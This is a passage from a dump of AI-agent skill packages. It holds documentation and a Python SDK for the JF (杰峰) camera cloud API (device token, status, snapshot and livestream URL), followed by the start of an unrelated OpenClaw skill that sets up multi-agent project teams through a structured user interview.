2. **设备登录认证** - 使用设备用户名/密码完成登录,获取 SessionID
3. **查询设备状态** - 获取设备在线状态、休眠状态、认证状态、IP 信息等
4. **设备云抓图** - 抓取设备实时图片(辅码流),图片地址有效期 24 小时
5. **获取直播地址** - 获取设备直播流地址(HLS/RTMP/FLV/WebRTC 等),默认有效期 10 小时
---
## 📖 详细文档
### 1. 获取设备 Token
**接口**: `POST /gwp/v3/rtc/device/token`
**响应**:
```json
{
"code": 2000,
"data": [{
"sn": "YOUR_DEVICE_SN",
"token": "ZTA3NTRiODMzNHw0OGRlOGMxYzFjMjBhNGEzfHwx..."
}]
}
```
**注意**: Token 有效期 24 小时,可缓存复用。
---
### 2. 查询设备状态
**接口**: `POST /gwp/v3/rtc/device/status`
**状态判定表**:
| status | wakeUpStatus | wakeUpEnable | 设备状态 |
|--------|--------------|--------------|----------|
| online | 空 | 空 | 常电设备,在线 |
| online | 0 | 1 | 低功耗设备,已休眠 |
| online | 1 | 1 | 低功耗设备,已唤醒 |
| online | 2 | 1 | 低功耗设备,准备休眠中 |
| notfound | 空 | 空 | 设备不在线 |
---
### 3. 设备云抓图
**接口**: `POST /gwp/v3/rtc/device/capture/{deviceToken}`
**注意**:
- ⚠️ **按调用次数计费** - 详见官网定价
- ⚠️ **图片有效期 24 小时** - 过期自动清除,需及时下载
---
### 4. 获取直播地址
**接口**: `POST /gwp/v3/rtc/device/livestream/{deviceToken}`
**支持协议**:
| 协议 | 参数 | 适用场景 |
|------|------|----------|
| HLS | `hls-ts` | Web 浏览器、移动端(推荐) |
| FLV | `flv` | Web 播放器 |
| WebRTC | `webrtc` | 超低延迟(仅 H.264) |
| RTMP | `rtmp-flv` | 微信小程序 |
**注意**:
- ⚠️ **直播地址默认有效期 10 小时**
- ⚠️ **低功耗设备** - 获取后 3 秒内必须播放
---
## ⚠️ 错误处理
| 错误码 | 说明 | 解决方案 |
|--------|------|----------|
| `2000` | 成功 | - |
| `4118` | 连接超时 | 设备离线/休眠,稍后重试 |
| `10001` | Token 无效 | 重新获取 Token |
| `10002` | 设备未登录 | 调用 login 接口登录 |
---
## 📚 官方参考资料
- **杰峰开放平台**: https://open.jftech.com/
- **API 文档**: https://docs.jftech.com/
- **API 端点**: `api.jftechws.com` (国际) / `api-cn.jftech.com` (中国大陆)
FILE:README.md
# JF Open Capture Livestream 技能
JF 杰峰智能设备鉴权与状态查询 AgentSkills (Python)。
---
## 📋 必需凭据
**使用前必须设置以下环境变量:**
| 参数 | 环境变量 | 类型 | 说明 | 来源 |
|------|----------|------|------|------|
| `uuid` | `JF_UUID` | string | 开放平台用户唯一标识 | 杰峰开放平台 |
| `appKey` | `JF_APPKEY` | string | 开放平台应用 Key | 杰峰开放平台 |
| `appSecret` | `JF_APPSECRET` | string | 应用密钥 | 杰峰开放平台 |
| `moveCard` | `JF_MOVECARD` | int | 签名算法偏移量 (0-9) | 杰峰开放平台 |
| `deviceSn` | `JF_SN` | string | 设备序列号 | 设备标签 |
⚠️ **如果缺少以上凭据,此技能无法正常工作!**
---
## 🔒 安全说明
**仅支持环境变量**
| 方式 | 支持 | 说明 |
|------|------|------|
| **环境变量** | ✅ 支持 | 不会在进程列表中暴露 |
| **命令行参数** | ❌ 不支持 | 避免凭据泄露风险 |
| **配置文件** | ❌ 不支持 | 避免代码执行风险 |
---
## 目录结构
```
jf-open-pro-capture-livestream/
├── SKILL.md # 技能文档
├── README.md # 使用说明
└── scripts/
├── jf_open_pro_capture_livestream.py # Python SDK
└── requirements.txt # Python 依赖
```
---
## 快速开始
### 1. 设置环境变量
```bash
export JF_UUID="your-uuid"
export JF_APPKEY="your-appkey"
export JF_APPSECRET="your-appsecret"
export JF_MOVECARD=5
export JF_SN="your-device-sn"
```
### 2. 安装依赖
```bash
pip install -r scripts/requirements.txt
```
### 3. 使用技能
```bash
# 查询设备状态
python scripts/jf_open_pro_capture_livestream.py status
# 设备登录
python scripts/jf_open_pro_capture_livestream.py login
# 云抓图
python scripts/jf_open_pro_capture_livestream.py capture
# 获取直播地址(HLS 协议)
python scripts/jf_open_pro_capture_livestream.py livestream
```
---
## 功能
- ✅ 获取设备 Token(24 小时有效)
- ✅ 设备登录认证
- ✅ 查询设备状态(在线/离线/休眠)
- ✅ 自动签名计算
- ✅ 设备云抓图(图片有效期 24 小时)
- ✅ 获取直播地址(有效期 10 小时)
---
## 可用命令
| 命令 | 说明 |
|------|------|
| `status` | 查询设备状态 |
| `login` | 设备登录认证 |
| `capture` | 设备云抓图 |
| `livestream` | 获取直播地址 |
| `token` | 仅获取设备 Token |
---
## 依赖
- **Python:** 3.7+ (需要 `requests` 库)
---
## 文档
- `SKILL.md` - 完整技能文档
- `README.md` - 快速开始指南
FILE:scripts/jf_open_pro_capture_livestream.py
#!/usr/bin/env python3
"""
JF 杰峰设备认证与状态查询 Python SDK
功能:
- 获取设备 Token
- 设备登录
- 查询设备状态
- 设备云抓图
- 获取直播地址
用法:
# 设置环境变量
export JF_UUID="xxx" JF_APPKEY="xxx" JF_APPSECRET="xxx" JF_MOVECARD=5 JF_SN="xxx"
python jf_open_pro_capture_livestream.py status
安全说明:
✅ 仅支持环境变量,避免凭据泄露风险
🔒 不支持命令行参数或配置文件
"""
import hashlib
import os
import sys
import time
try:
import requests
except ImportError:
print("❌ 错误:需要安装 requests 库")
print("请运行:pip install -r requirements.txt")
sys.exit(1)
# ==================== 配置 ====================
DEFAULT_ENDPOINT = 'api.jftechws.com'
DEFAULT_MOVECARD = 5
def get_config():
"""
从环境变量获取配置
必需环境变量:
JF_UUID - 开放平台用户唯一标识
JF_APPKEY - 开放平台应用 Key
JF_APPSECRET - 开放平台应用密钥
JF_MOVECARD - 签名算法偏移量 (0-9)
JF_SN - 设备序列号
可选环境变量:
JF_USERNAME - 设备用户名 (默认 admin)
JF_PASSWORD - 设备密码
JF_ENDPOINT - API 端点 (默认 api.jftechws.com)
JF_KEEPALIVE - 保活时长 (默认 300)
"""
config = {
'uuid': os.environ.get('JF_UUID', ''),
'appKey': os.environ.get('JF_APPKEY', ''),
'appSecret': os.environ.get('JF_APPSECRET', ''),
'moveCard': int(os.environ.get('JF_MOVECARD', DEFAULT_MOVECARD)),
'endpoint': os.environ.get('JF_ENDPOINT', DEFAULT_ENDPOINT),
'deviceSn': os.environ.get('JF_SN', ''),
'userName': os.environ.get('JF_USERNAME', 'admin'),
'passWord': os.environ.get('JF_PASSWORD', ''),
'keepaliveTime': int(os.environ.get('JF_KEEPALIVE', 300)),
}
return config
# ==================== JF 杰峰认证 SDK ====================
class JFAuth:
"""JF 杰峰设备认证 SDK"""
def __init__(self, uuid, app_key, app_secret, move_card, endpoint=DEFAULT_ENDPOINT):
"""
初始化 JF 认证
Args:
uuid: 开放平台用户 uuid(必需)
app_key: 开放平台应用 appKey(必需)
app_secret: 应用密钥(必需)
move_card: 签名算法参数(必需,int 类型 0-9)
endpoint: API 端点域名
"""
if not all([uuid, app_key, app_secret, move_card]):
raise ValueError("缺少必需的配置参数:uuid, app_key, app_secret, move_card")
self.uuid = uuid
self.app_key = app_key
self.app_secret = app_secret
self.endpoint = endpoint
self.move_card = move_card
def _str2byte(self, s):
"""字符串转字节数组(ISO-8859-1 编码)"""
return list(s.encode('iso-8859-1'))
def _change(self, encrypt_str, move_card):
"""简单移位算法"""
encrypt_byte = self._str2byte(encrypt_str)
length = len(encrypt_byte)
for idx in range(length):
tmp = encrypt_byte[idx] if (idx % move_card) > ((length - idx) % move_card) else encrypt_byte[length - (idx + 1)]
encrypt_byte[idx], encrypt_byte[length - (idx + 1)] = encrypt_byte[length - (idx + 1)], tmp
return encrypt_byte
def _merge_byte(self, encrypt_byte, change_byte):
"""合并字节数组"""
length = len(encrypt_byte)
temp = [0] * (length * 2)
for i in range(length):
temp[i] = encrypt_byte[i]
temp[length * 2 - 1 - i] = change_byte[i]
return temp
def _get_signature(self, time_millis):
"""生成签名"""
encrypt_str = self.uuid + self.app_key + self.app_secret + time_millis
encrypt_byte = self._str2byte(encrypt_str)
change_byte = self._change(encrypt_str, self.move_card)
merged_byte = self._merge_byte(encrypt_byte, change_byte)
return hashlib.md5(bytes(merged_byte)).hexdigest()
def _get_time_millis(self):
"""生成 20 位时间戳"""
return str(int(time.time() * 1000)).zfill(20)
def _generate_request_id(self):
"""生成请求 ID"""
import uuid
return uuid.uuid4().hex
def _request(self, url, body, headers=None):
"""发送 HTTP 请求"""
if headers is None:
headers = {}
headers['Content-Type'] = 'application/json'
try:
response = requests.post(url, headers=headers, json=body, timeout=30)
return response.json()
except Exception as e:
return {'code': 0, 'msg': str(e)}
def get_device_token(self, device_sn):
"""
获取设备 Token(24 小时有效)
"""
time_millis = self._get_time_millis()
signature = self._get_signature(time_millis)
url = f"https://{self.endpoint}/gwp/v3/rtc/device/token"
headers = {
'uuid': self.uuid,
'appKey': self.app_key,
'timeMillis': time_millis,
'signature': signature,
'X-Request-Id': self._generate_request_id()
}
body = {'sns': [device_sn], 'accessToken': ''}
result = self._request(url, body, headers)
if result.get('code') == 2000 and result.get('data') and len(result['data']) > 0:
return {'success': True, 'token': result['data'][0]['token'], 'sn': result['data'][0]['sn']}
return {'success': False, 'error': result.get('msg', 'Unknown error'), 'code': result.get('code')}
def device_login(self, device_token, username, password='', keepalive_time=300):
"""设备登录认证"""
time_millis = self._get_time_millis()
signature = self._get_signature(time_millis)
url = f"https://{self.endpoint}/gwp/v3/rtc/device/login/{device_token}"
headers = {
'uuid': self.uuid,
'appKey': self.app_key,
'timeMillis': time_millis,
'signature': signature,
'X-Request-Id': self._generate_request_id()
}
body = {
'UserName': username,
'PassWord': password,
'KeepaliveTime': keepalive_time
}
result = self._request(url, body, headers)
if result.get('code') == 2000 and result.get('data') and result['data'].get('Ret') == 100:
return {
'success': True,
'sessionId': result['data'].get('SessionID'),
'deviceType': result['data'].get('DeviceType'),
'aliveInterval': result['data'].get('AliveInterval'),
'channelNum': result['data'].get('ChannelNum')
}
return {'success': False, 'error': result.get('msg', 'Unknown error'), 'code': result.get('code')}
def get_device_status(self, device_token):
"""查询设备状态"""
time_millis = self._get_time_millis()
signature = self._get_signature(time_millis)
url = f"https://{self.endpoint}/gwp/v3/rtc/device/status"
headers = {
'uuid': self.uuid,
'appKey': self.app_key,
'timeMillis': time_millis,
'signature': signature,
'X-Request-Id': self._generate_request_id()
}
body = {'deviceTokenList': [device_token], 'region': 'Local'}
result = self._request(url, body, headers)
if result.get('code') == 2000 and result.get('data') and len(result['data']) > 0:
device = result['data'][0]
status = device.get('status', 'unknown')
status_desc = '未知'
if status == 'online':
wake_status = device.get('wakeUpStatus')
if wake_status is None:
status_desc = '常电设备,在线'
elif wake_status == '0':
status_desc = '低功耗设备,已休眠'
elif wake_status == '1':
status_desc = '低功耗设备,已唤醒'
elif wake_status == '2':
status_desc = '低功耗设备,准备休眠中'
elif status == 'notfound':
status_desc = '设备不在线'
auth_status = device.get('authStatus')
auth_desc = '未知'
if auth_status is not None:
if auth_status == 1:
auth_desc = '认证成功'
elif auth_status == 0:
auth_desc = '正在认证'
elif auth_status == -1:
auth_desc = '认证未通过'
return {
'success': True,
'uuid': device.get('uuid'),
'status': status,
'statusDesc': status_desc,
'authStatus': auth_status,
'authDesc': auth_desc,
'wakeUpStatus': device.get('wakeUpStatus'),
'wakeUpEnable': device.get('wakeUpEnable'),
'wanIp': device.get('wanIp'),
'channel': device.get('channel')
}
return {'success': False, 'error': result.get('msg', 'Unknown error'), 'code': result.get('code')}
def device_capture(self, device_token, channel=0, pic_type=0):
"""设备云抓图"""
time_millis = self._get_time_millis()
signature = self._get_signature(time_millis)
url = f"https://{self.endpoint}/gwp/v3/rtc/device/capture/{device_token}"
headers = {
'uuid': self.uuid,
'appKey': self.app_key,
'timeMillis': time_millis,
'signature': signature,
'X-Request-Id': self._generate_request_id()
}
body = {
'Name': 'OPSNAP',
'OPSNAP': {'Channel': channel, 'PicType': pic_type}
}
result = self._request(url, body, headers)
if result.get('code') == 2000 and result.get('data') and result['data'].get('Ret') == 100:
return {'success': True, 'imageUrl': result['data'].get('image'), 'ret': result['data'].get('Ret')}
return {'success': False, 'error': result.get('msg', 'Unknown error'), 'code': result.get('code'), 'ret': result.get('data', {}).get('Ret')}
def get_live_stream(self, device_token, channel='0', stream='1', protocol='flv', username='admin', password='', expire_time=None):
"""获取直播地址"""
time_millis = self._get_time_millis()
signature = self._get_signature(time_millis)
url = f"https://{self.endpoint}/gwp/v3/rtc/device/livestream/{device_token}"
headers = {
'uuid': self.uuid,
'appKey': self.app_key,
'timeMillis': time_millis,
'signature': signature,
'X-Request-Id': self._generate_request_id()
}
body = {
'channel': channel,
'stream': stream,
'protocol': protocol,
'username': username,
'password': password
}
if expire_time:
body['expireTime'] = expire_time
result = self._request(url, body, headers)
if result.get('code') == 2000 and result.get('data') and result['data'].get('Ret') == 100:
return {'success': True, 'url': result['data'].get('url'), 'ret': result['data'].get('Ret')}
return {'success': False, 'error': result.get('msg', 'Unknown error'), 'code': result.get('code'), 'ret': result.get('data', {}).get('Ret'), 'retMsg': result.get('data', {}).get('retMsg')}
# ==================== 输出函数 ====================
def print_device_status(status):
"""打印设备状态"""
print("\n=== 设备状态 ===")
print(f"设备序列号:{status['uuid']}")
print(f"状态:{status['status']} ({status['statusDesc']})")
if status.get('authDesc'):
print(f"认证状态:{status['authDesc']} ({status['authStatus']})")
if status.get('wakeUpStatus') is not None:
print(f"休眠状态:{status['wakeUpStatus']}")
if status.get('wakeUpEnable') is not None:
print(f"远程唤醒:{'支持' if status['wakeUpEnable'] == '1' else '不支持'}")
if status.get('wanIp'):
print(f"外网 IP: {status['wanIp']}")
# ==================== 主函数 ====================
def main():
if len(sys.argv) < 2:
print("用法:python jf_open_pro_capture_livestream.py <command>")
print("")
print("可用命令:")
print(" status 查询设备状态")
print(" login 设备登录")
print(" capture 设备云抓图")
print(" livestream 获取直播地址")
print(" token 仅获取设备 Token")
print("")
print("环境变量:")
print(" JF_UUID - 开放平台用户唯一标识(必需)")
print(" JF_APPKEY - 开放平台应用 Key(必需)")
print(" JF_APPSECRET - 开放平台应用密钥(必需)")
print(" JF_MOVECARD - 签名算法偏移量 (0-9)(必需)")
print(" JF_SN - 设备序列号(必需)")
print(" JF_USERNAME - 设备用户名(可选,默认 admin)")
print(" JF_PASSWORD - 设备密码(可选)")
print(" JF_ENDPOINT - API 端点(可选,默认 api.jftechws.com)")
sys.exit(1)
command = sys.argv[1]
# 从环境变量获取配置
config = get_config()
# 验证必需参数
if not config['uuid']:
print("❌ 错误:缺少必需环境变量 JF_UUID")
sys.exit(1)
if not config['appKey']:
print("❌ 错误:缺少必需环境变量 JF_APPKEY")
sys.exit(1)
if not config['appSecret']:
print("❌ 错误:缺少必需环境变量 JF_APPSECRET")
sys.exit(1)
if not config['deviceSn']:
print("❌ 错误:缺少必需环境变量 JF_SN")
sys.exit(1)
print("============================================================")
print("JF 杰峰设备认证工具 (Python)")
print("============================================================")
print(f"设备 SN: {config['deviceSn']}")
print(f"命令:{command}")
# 初始化 SDK
sdk = JFAuth(
uuid=config['uuid'],
app_key=config['appKey'],
app_secret=config['appSecret'],
move_card=config['moveCard'],
endpoint=config['endpoint']
)
device_token = None
try:
if command == 'token':
print("\n>>> 获取设备 Token...")
result = sdk.get_device_token(config['deviceSn'])
if result['success']:
print(f"✅ Token: {result['token']}")
else:
print(f"❌ 失败:{result['error']}")
elif command == 'status':
print("\n>>> 获取设备 Token...")
token_result = sdk.get_device_token(config['deviceSn'])
if not token_result['success']:
print(f"❌ 获取 Token 失败:{token_result['error']}")
return
device_token = token_result['token']
print("✅ Token 获取成功\n>>> 查询设备状态...")
status_result = sdk.get_device_status(device_token)
if status_result['success']:
print_device_status(status_result)
else:
print(f"❌ 查询失败:{status_result['error']}")
elif command == 'login':
print("\n>>> 获取设备 Token...")
token_result = sdk.get_device_token(config['deviceSn'])
if not token_result['success']:
print(f"❌ 获取 Token 失败:{token_result['error']}")
return
device_token = token_result['token']
print("✅ Token 获取成功\n>>> 设备登录...")
print(f"用户名:{config['userName']}, 保活时长:{config['keepaliveTime']}秒")
login_result = sdk.device_login(device_token, config['userName'], config['passWord'], config['keepaliveTime'])
if login_result['success']:
print("\n=== 登录成功 ===")
print(f"SessionID: {login_result['sessionId']}")
print(f"设备类型:{login_result['deviceType']}")
print(f"保活间隔:{login_result['aliveInterval']}秒")
print(f"通道数:{login_result['channelNum']}")
else:
print(f"❌ 登录失败:{login_result['error']}")
elif command == 'capture':
print("\n>>> 获取设备 Token...")
token_result = sdk.get_device_token(config['deviceSn'])
if not token_result['success']:
print(f"❌ 获取 Token 失败:{token_result['error']}")
return
device_token = token_result['token']
print("✅ Token 获取成功")
print("\n>>> 执行云抓图...")
print("通道号:0, 图片类型:实时图片(辅码流)")
print("⚠️ 注意:云抓图按调用次数计费")
capture_result = sdk.device_capture(device_token, 0, 0)
if capture_result['success']:
print("\n=== 抓图成功 ===")
print(f"图片地址:{capture_result['imageUrl']}")
print("⚠️ 图片有效期 24 小时,请及时下载!")
print(f"\n下载命令:curl -o snapshot.png \"{capture_result['imageUrl']}\"")
else:
print(f"❌ 抓图失败:{capture_result['error']}")
if capture_result.get('ret'):
print(f"设备返回码:{capture_result['ret']}")
elif command == 'livestream':
print("\n>>> 获取设备 Token...")
token_result = sdk.get_device_token(config['deviceSn'])
if not token_result['success']:
print(f"❌ 获取 Token 失败:{token_result['error']}")
return
device_token = token_result['token']
print("✅ Token 获取成功")
print("\n>>> 获取直播地址...")
print("通道号:0, 码流:标清(辅码流), 协议:flv")
print("⚠️ 注意:直播地址默认有效期 10 小时")
print("⚠️ 低功耗设备:获取后 3 秒内必须播放")
stream_result = sdk.get_live_stream(
device_token,
'0',
'1',
'flv',
config['userName'],
config['passWord']
)
if stream_result['success']:
print("\n=== 直播地址获取成功 ===")
print(f"播放地址:{stream_result['url']}")
print("\n使用方式:")
print(" - H5 播放:<video src=\"URL\" controls></video>")
print(" - VLC 播放:vlc \"URL\"")
print(" - ffmpeg: ffmpeg -i \"URL\" output.mp4")
print("\n⚠️ 地址有效期 10 小时,可重复使用")
else:
print(f"❌ 获取失败:{stream_result['error']}")
if stream_result.get('retMsg'):
print(f"设备信息:{stream_result['retMsg']}")
if stream_result.get('ret'):
print(f"设备返回码:{stream_result['ret']}")
else:
print(f"❌ 未知命令:{command}")
print("可用命令:status, login, capture, livestream, token")
except Exception as e:
print(f"❌ 执行出错:{e}")
import traceback
traceback.print_exc()
print("\n============================================================")
if __name__ == '__main__':
main()
FILE:scripts/requirements.txt
# JLink Python SDK 依赖
requests>=2.28.0
Builds a Project — a coordinated multi-agent team setup — inside OpenClaw, for any kind of team: software development, marketing, real estate, content, sales...
---
name: openclaw_projects
description: >
Builds a Project — a coordinated multi-agent team setup — inside OpenClaw, for
any kind of team: software development, marketing, real estate, content, sales,
operations, research, customer success, or anything else where multiple agents
need to work together toward shared goals. Use this skill whenever someone says
"set up a project", "create a project", "add a project to my team", "build a
team", "make my agents work together", "configure agent coordination",
"set up agent collaboration", "I want a team of agents", "how do I run multiple
agents on one project", "wire up Asana for my agents", "wire up ClickUp for my
agents", "add a new project", or anything similar — even if they don't explicitly
say "project" or "team". Also trigger when someone asks how multiple agents
should coordinate, share work, escalate, or hand off tasks. This skill creates
the entire project folder structure (PROJECT.md rulebook, project.json config,
queue files for inter-agent messaging, project-lock.json phase tracking,
decision/issue/runbook documents, shared workspace) and updates OpenClaw config
to wire agent-to-agent communication. It works through a structured interview:
team identity, work structure, then a comprehensive AI-rewritten team plan for
user review and fine-tuning before building. Supports any task manager backend
(Asana, ClickUp) via the user's separately installed dependency skill.
Multiple projects can coexist; agents can participate in multiple projects.
Requires the openclaw-administrator skill (EncryptShawn) to be loaded.
Recommends openclaw-recovery-manager (EncryptShawn) for safety.
This skill does not make task-manager API calls itself — those are delegated
to the user's installed Asana or ClickUp dependency skill.
This skill does not read or store any credentials or secret values.
---
# OpenClaw Projects
This skill adds the concept of a **Project** to OpenClaw — a coordinated multi-agent team setup that lets one or more agents work together toward shared goals. Projects can be any team type: software development, marketing, real estate, content, sales, customer success, research, or anything else.
A Project is:
- A folder at `~/.openclaw/projects/[project-id]/` containing the team rulebook, configuration, shared workspace, and inter-agent message queues
- A defined workflow that takes work from intake through delivery
- A wiring layer that connects multiple agents through OpenClaw's agent-to-agent communication
- A coordination unit that uses one task manager (Asana or ClickUp) as the source of truth for task ownership and status
Multiple projects can coexist. Agents can participate in multiple projects.
---
## Contents
- [What This Skill Does](#what-this-skill-does)
- [Prerequisites](#prerequisites)
- [Credential and Security Model](#credential-and-security-model)
- [Step 0 — Safety First](#step-0--safety-first)
- [Step 1 — Discover Existing Setup](#step-1--discover-existing-setup)
- [Step 2 — Pass 1: Team Identity Interview](#step-2--pass-1-team-identity-interview)
- [Step 3 — Pass 2: Work Structure Interview](#step-3--pass-2-work-structure-interview)
- [Step 4 — Pass 3: AI-Drafted Team Plan for Review](#step-4--pass-3-ai-drafted-team-plan-for-review)
- [Step 5 — Capability Check](#step-5--capability-check)
- [Step 6 — Task Manager Setup](#step-6--task-manager-setup)
- [Step 7 — Create Project Folder Structure](#step-7--create-project-folder-structure)
- [Step 8 — Update Agent Workspaces](#step-8--update-agent-workspaces)
- [Step 9 — Update OpenClaw Config](#step-9--update-openclaw-config)
- [Step 10 — Smoke Test](#step-10--smoke-test)
- [Step 11 — Post-Setup Snapshot and Handoff](#step-11--post-setup-snapshot-and-handoff)
- [If Anything Goes Wrong](#if-anything-goes-wrong)
Reference files (read when needed):
- `references/project-files.md` — Full specification of every project folder file
- `references/workflow.md` — Universal workflow phases, escalation rules, queue formats
- `references/interview-questions.md` — Full interview question banks for Pass 1 and Pass 2
- `references/team-archetypes.md` — Common team patterns to draw on for examples
- `references/templates.md` — Parameterized templates for every file this skill generates (PROJECT.md, project.json, queue files, etc.) plus a placeholder reference table
---
## What This Skill Does
1. **Interviews the user** through a structured three-pass discovery process to understand the team
2. **Drafts a comprehensive team plan** — AI-rewrites the user's answers into a complete operational plan, filling gaps and tightening loose answers
3. **Reviews the plan with the user** for fine-tuning and approval before building
4. **Checks agent capabilities** against the planned work and surfaces any concerns (e.g., a vision-required task assigned to an agent without a vision-capable model)
5. **Creates the project folder** at `~/.openclaw/projects/[project-id]/` with all coordination files
6. **Updates each participating agent's workspace** with project references in their AGENTS.md
7. **Updates OpenClaw config** to enable agent-to-agent communication between project participants
8. **Walks through a smoke test** to verify the project is operational
## What This Skill Does NOT Do
- Create agents — agents must already exist (use OpenClaw's agent creation flow first)
- Choose models for agents — that's the user's decision, made when creating the agent
- Hold credentials — the task manager dependency skill handles that
- Make task manager API calls directly — delegated to the user's Asana or ClickUp skill
---
## Prerequisites
**Must be installed before running this skill:**
- **openclaw-administrator** (EncryptShawn) — used to update OpenClaw config and write workspace files
**Must already exist in OpenClaw:**
- Each agent that will participate in the project
- Each agent must have a model and fallback configured (this skill verifies but does not set models)
**Must be installed on the agents that will use it:**
- A task manager dependency skill — either Asana or ClickUp — installed on every agent that needs to read/write tasks. The user is responsible for installing this and configuring its credential (PAT, API key, or token) in their secret management system.
**Strongly recommended:**
- **openclaw-recovery-manager** (EncryptShawn) — provides config snapshots and rollback
**If the user has not yet created their agents**, stop and tell them:
> "Before we build a project, you need to create the agents that will participate in it. Each agent should have its model and fallback configured, and you should install the task manager skill (Asana or ClickUp) on each agent that will read or write tasks. Once your agents exist, come back and we'll set up the project."
---
## Credential and Security Model
**This skill never reads, stores, requests, or transmits credential values.**
This skill collects only the *names* of env vars (e.g., `PROJ_ASANA_PAT`) — never their values. The dependency skills the user installed (Asana skill, ClickUp skill, any other domain-specific skill) hold and use credentials. This skill passes credential env var *names* to those skills so they know which value to pull from the agent runtime environment.
Credentials must be stored in the user's secret management system (Kubernetes ConfigMap/Secret, .env file, or equivalent) before this skill runs.
---
## Step 0 — Safety First
1. Check if **openclaw-recovery-manager** is installed.
- **Yes:** Take a snapshot. Label: `pre-project-setup-[project-id]-[date]`
- **No:** Ask:
> "I recommend installing openclaw-recovery-manager (EncryptShawn on ClawHub) before we proceed — it lets us roll back if anything goes wrong. Want to install it first, or proceed without it?"
---
## Step 1 — Discover Existing Setup
Before interviewing, gather context using openclaw-administrator:
1. List existing agents and their configured models
2. List existing projects in `~/.openclaw/projects/` (if any)
3. Check which task manager skills are installed on each agent (Asana, ClickUp, or both)
This context informs the interview — for example, if the user has 5 agents already, you can show them the list to pick from rather than asking them to type names.
If `~/.openclaw/projects/` doesn't exist yet, this is the first project. Note this — the agents won't have any "Active Projects" section in their AGENTS.md yet.
---
## Step 2 — Pass 1: Team Identity Interview
Read `references/interview-questions.md` for the full question bank. The goal of Pass 1 is to understand **who is on this team and what they each do.**
Ask the user the questions in order. After each block, briefly summarize what they said back to confirm before moving on.
Core Pass 1 questions:
```
Pass 1 — Team Identity
1. What is this project for? (one-sentence purpose, e.g., "Build and maintain
the EZBI analytics platform" or "Generate marketing content for client
campaigns")
2. What kind of team is this?
- Software development
- Marketing / creative
- Real estate
- Content / editorial
- Sales / outreach
- Customer success / support
- Operations
- Research
- Other (describe it briefly)
3. What should this project be called?
- Display name (e.g., "EZBI Platform")
- Project ID (lowercase, hyphens or underscores, used in folder names — e.g., "ezbi")
4. Which agents will be on this team? (You can pick from your existing agents.)
For each agent, what is their role on this project?
(One agent might be "Project Manager" on this project and "Researcher" on
another — the role is per-project.)
5. Which agent is client-facing? (Equivalent of a PM — receives requirements,
talks to clients, owns the intake. There should be exactly one.)
6. Which agent validates feasibility? (Domain expert who reviews whether the
work is doable before committing — e.g., engineer for dev work, strategist
for marketing, broker for real estate.)
7. Which agent does quality review? (Reviews completed work before delivery
to the client — e.g., QA for dev, creative director for marketing.)
8. Is there a human operator? (Final authority for merges, unresolvable
escalations, client engagement when agents can't reach the client.)
Yes / No — if yes, what's their alias? (e.g., "operator")
9. Are there any other roles? (Specialized contributors — designers,
researchers, copywriters, etc.)
```
Record all answers. Confirm back before moving on.
---
## Step 3 — Pass 2: Work Structure Interview
The goal of Pass 2 is to understand **how the team works together day-to-day.**
```
Pass 2 — Work Structure
1. Task manager — which one?
- Asana
- ClickUp
(You should already have the corresponding dependency skill installed on
your agents. Confirm which one.)
2. What are the stages a piece of work goes through? (These become the
task manager columns. Default suggestion based on team type — confirm
or customize.)
3. What is the shared working medium?
- Where does this team actually produce deliverables?
- Examples: a git repo (devs), a Google Drive folder (marketing),
a Notion workspace (content), a CRM system (sales/real estate),
a shared file folder, or none / not applicable
- If a git repo: SSH URL(s) for cloning
- If a folder/workspace: path or link
- If a CRM/external system: how do agents access it?
4. What does "done" look like before work goes to client review?
- Devs: PR opened, all tests pass, QA reviewed
- Marketing: copy approved by creative director, brand guidelines met
- Real estate: listing complete, photos verified, pricing confirmed
- Whatever fits this team
5. How does the team handle requirements?
- One sprint at a time (recommended): one agreed scope completed before
next is accepted
- Continuous flow: new requirements can come in any time
(One-sprint-at-a-time is strongly recommended for teams that need
focused execution. Continuous flow is appropriate for teams handling
high-volume small tasks.)
6. Escalation thresholds:
- How long should an agent be stuck on the same problem before stopping
and surfacing to a human? (Default: 24 hours of active work)
- How many times can an agent re-escalate the same issue before stopping?
(Default: 2 escalations to the feasibility-reviewer)
- How long with no client response before involving the operator?
(Default: 48 hours)
7. Does this team produce or consume any visual / media assets?
- Yes: describe (mockups, photos, video, audio, diagrams)
- No
(If yes: assets will be stored as task-manager attachments primarily,
with a fallback location in the project workspace.)
8. Anything else specific to this team that other agents would need to know?
(Free-form — house style, client communication preferences, specific
tools/platforms, compliance requirements, etc.)
```
Record all answers. Confirm back before moving on.
---
## Step 4 — Pass 3: AI-Drafted Team Plan for Review
This is the most important step. Take everything from Pass 1 and Pass 2 and produce a **comprehensive, operational team plan** — not a transcription of the user's answers, but an AI-rewritten, gap-filled version that any agent could read and immediately know how to operate.
The plan must include:
- **Team identity:** project name, ID, purpose, kind
- **Roster:** every agent, their role on this project, what they own, what they do not own
- **Task manager configuration:** which one, the column structure with each column's meaning
- **Shared working medium:** what it is, how agents access it, conventions for using it
- **Workflow phases:** every phase from intake through close, with who owns each, what triggers transitions
- **Escalation rules:** thresholds, who escalates to whom, when work stops
- **Communication protocol:** queue files between agents, who reads which queue
- **Visual/media handling:** if applicable, how assets are stored and referenced
- **What "done" means** at each phase
- **Anything specific** the user mentioned
Write this plan in clear, complete prose. Fill gaps the user didn't address explicitly — for example, if the user said "we have a designer" but didn't say what triggers the designer's involvement, infer reasonable defaults based on team type and write them in. Mark inferred items clearly so the user can correct them.
Present the plan to the user:
```
I've turned your answers into a full team plan. Read through it carefully —
this is what will go into PROJECT.md, which is what every agent on the team
reads to understand how to operate.
Items I inferred (not directly asked) are marked with [INFERRED].
Anything that doesn't match what you want, tell me and I'll revise.
[FULL PLAN HERE]
Does this match what you want? Anything to change before we build?
```
**Do not move to Step 5 until the user explicitly approves the plan.** This is the gate that prevents vague PROJECT.md files. Iterate as many times as needed.
---
## Step 5 — Capability Check
Before building, look at the approved plan and check whether the assigned agents can actually do what the plan asks of them.
Using openclaw-administrator, fetch each agent's configured model. Cross-reference against the plan:
- **Vision required?** If the plan involves the agent reviewing mockups, photos, screenshots, or any visual asset, check that the agent's model has vision capability. If not, flag it.
- **Long context required?** If the agent needs to read large documents (long specs, full codebases, large research corpora), check the model's context window. If under 200k and the work seems heavy, flag it.
- **Code-heavy work?** If the agent is doing software development, check the model has reasonable coding benchmarks. (If the user picked something obviously weak, mention it.)
- **Hallucination-sensitive work?** If the agent does requirements translation, client communication, or QA-style validation, a high-hallucination model is risky. Flag it.
**Output format:**
```
Capability check on the assigned agents:
✅ [agent-id] (role: PM) — model [model-name]
No concerns.
